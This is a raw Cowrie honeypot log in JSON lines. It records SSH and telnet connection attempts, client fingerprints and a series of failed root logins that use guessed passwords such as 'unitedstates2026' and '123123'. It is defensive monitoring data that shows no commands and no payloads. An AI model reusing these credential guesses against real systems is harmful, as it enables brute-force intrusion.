{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:48.893888Z","src_ip":"202.29.223.30","session":"3017de2b0219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:49.132842Z","src_ip":"202.29.223.30","session":"3017de2b0219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:49.484008Z","src_ip":"143.20.185.207","session":"af2a43d75181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates#","message":"login attempt [root/unitedstates#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:49.838718Z","src_ip":"202.29.223.30","session":"3017de2b0219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14822,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ca970ee4fb","protocol":"ssh","message":"New connection: 38.93.206.2:14822 (10.17.0.5:22) [session: f0ca970ee4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:50.249398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:50.253958Z","src_ip":"38.93.206.2","session":"f0ca970ee4fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:50.304201Z","src_ip":"38.93.206.2","session":"f0ca970ee4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daniels","message":"login attempt [root/daniels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:50.456313Z","src_ip":"38.93.206.2","session":"f0ca970ee4fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:51.076015Z","src_ip":"202.29.223.30","session":"3017de2b0219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:51.508563Z","src_ip":"38.93.206.2","session":"f0ca970ee4fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53234,"dst_ip":"159.203.135.109","dst_port":23,"session":"9808a72448f0","protocol":"telnet","message":"New connection: 107.6.151.170:53234 (159.203.135.109:23) [session: 9808a72448f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:53.782459Z"}
{"eventid":"cowrie.session.closed","duration":0.004082918167114258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:14:53.786440Z","src_ip":"107.6.151.170","session":"9808a72448f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09115409851074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:11.964852Z","src_ip":"170.64.224.25","session":"4fc106dc9c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":59646,"dst_ip":"10.17.0.5","dst_port":22,"session":"20155d31dc86","protocol":"ssh","message":"New connection: 113.125.165.132:59646 (10.17.0.5:22) [session: 20155d31dc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:12.980199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:12.984358Z","src_ip":"113.125.165.132","session":"20155d31dc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:13.229580Z","src_ip":"113.125.165.132","session":"20155d31dc86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123..","message":"login attempt [root/zxc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:14.252195Z","src_ip":"113.125.165.132","session":"20155d31dc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:15.498739Z","src_ip":"113.125.165.132","session":"20155d31dc86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.235.21","src_port":59328,"dst_ip":"10.17.0.5","dst_port":22,"session":"02854bf17f78","protocol":"ssh","message":"New connection: 122.154.235.21:59328 (10.17.0.5:22) [session: 02854bf17f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:18.918492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:18.923021Z","src_ip":"122.154.235.21","session":"02854bf17f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:19.174482Z","src_ip":"122.154.235.21","session":"02854bf17f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026","message":"login attempt [root/unitedstates2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:19.920124Z","src_ip":"122.154.235.21","session":"02854bf17f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:21.179340Z","src_ip":"122.154.235.21","session":"02854bf17f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":43602,"dst_ip":"159.203.135.109","dst_port":22,"session":"d831bb3accc8","protocol":"ssh","message":"New connection: 103.98.149.87:43602 (159.203.135.109:22) [session: d831bb3accc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:43.889716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:43.893361Z","src_ip":"103.98.149.87","session":"d831bb3accc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:44.117721Z","src_ip":"103.98.149.87","session":"d831bb3accc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"concrete","message":"login attempt [root/concrete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:44.792391Z","src_ip":"103.98.149.87","session":"d831bb3accc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58850,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa990b78e8c8","protocol":"telnet","message":"New connection: 137.184.5.188:58850 (159.203.135.109:23) [session: fa990b78e8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:45.804203Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:46.019796Z","src_ip":"103.98.149.87","session":"d831bb3accc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":59480,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ab9d2909c6","protocol":"ssh","message":"New connection: 185.243.11.39:59480 (10.17.0.5:22) [session: e3ab9d2909c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:53.122797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:53.126890Z","src_ip":"185.243.11.39","session":"e3ab9d2909c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:53.273301Z","src_ip":"185.243.11.39","session":"e3ab9d2909c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wif456","message":"login attempt [root/wif456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:53.718256Z","src_ip":"185.243.11.39","session":"e3ab9d2909c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:15:54.856500Z","src_ip":"185.243.11.39","session":"e3ab9d2909c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.149.97","src_port":60009,"dst_ip":"10.17.0.5","dst_port":22,"session":"e181e995209a","protocol":"ssh","message":"New connection: 51.15.149.97:60009 (10.17.0.5:22) [session: e181e995209a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:18.580034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:18.583589Z","src_ip":"51.15.149.97","session":"e181e995209a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:18.662208Z","src_ip":"51.15.149.97","session":"e181e995209a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026!!","message":"login attempt [root/unitedstates2026!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:18.902548Z","src_ip":"51.15.149.97","session":"e181e995209a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:19.984076Z","src_ip":"51.15.149.97","session":"e181e995209a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.14","src_port":41296,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f406a6680ff","protocol":"ssh","message":"New connection: 92.118.39.14:41296 (159.203.135.109:22) [session: 2f406a6680ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:21.333688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:21.337491Z","src_ip":"92.118.39.14","session":"2f406a6680ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:21.460952Z","src_ip":"92.118.39.14","session":"2f406a6680ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11448001861572,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:21.918521Z","src_ip":"137.184.5.188","session":"fa990b78e8c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:22.130286Z","src_ip":"92.118.39.14","session":"2f406a6680ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:23.233375Z","src_ip":"92.118.39.14","session":"2f406a6680ff","protocol":"ssh"}
